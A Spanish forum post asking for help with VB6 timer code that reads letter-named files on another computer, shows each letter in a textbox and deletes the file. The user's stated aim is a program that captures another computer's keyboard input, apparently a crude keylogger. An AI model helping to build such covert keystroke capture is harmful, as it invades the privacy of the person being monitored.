
Abrir archivos por orden (VB6)
Publicado por leandro (1 intervención) el 13/02/2015 23:33:41
Hola, necesito que se elimine una cantidad de archivos con un orden determinado y que me muestre los archivos eliminados en un textbox (con su orden), mi idea es hacer un programa que detecte el teclado de otra computadora, pero cuando quiero que me muestre el texto, se muestra desordenado, este es mi codigo:
Private Sub letras_Timer()
FileName = Dir(OtroEquipo + "q.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "q"
Kill (OtroEquipo + "q.dll")
End If
FileName = Dir(OtroEquipo + "w.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "w"
Kill (OtroEquipo + "w.dll")
End If
FileName = Dir(OtroEquipo + "e.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "e"
Kill (OtroEquipo + "e.dll")
End If
FileName = Dir(OtroEquipo + "r.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "r"
Kill (OtroEquipo + "r.dll")
End If
FileName = Dir(OtroEquipo + "t.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "t"
Kill (OtroEquipo + "t.dll")
End If
End Sub
asi con todas las letras
Private Sub letras_Timer()
FileName = Dir(OtroEquipo + "q.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "q"
Kill (OtroEquipo + "q.dll")
End If
FileName = Dir(OtroEquipo + "w.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "w"
Kill (OtroEquipo + "w.dll")
End If
FileName = Dir(OtroEquipo + "e.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "e"
Kill (OtroEquipo + "e.dll")
End If
FileName = Dir(OtroEquipo + "r.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "r"
Kill (OtroEquipo + "r.dll")
End If
FileName = Dir(OtroEquipo + "t.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "t"
Kill (OtroEquipo + "t.dll")
End If
End Sub
asi con todas las letras
Valora esta pregunta


0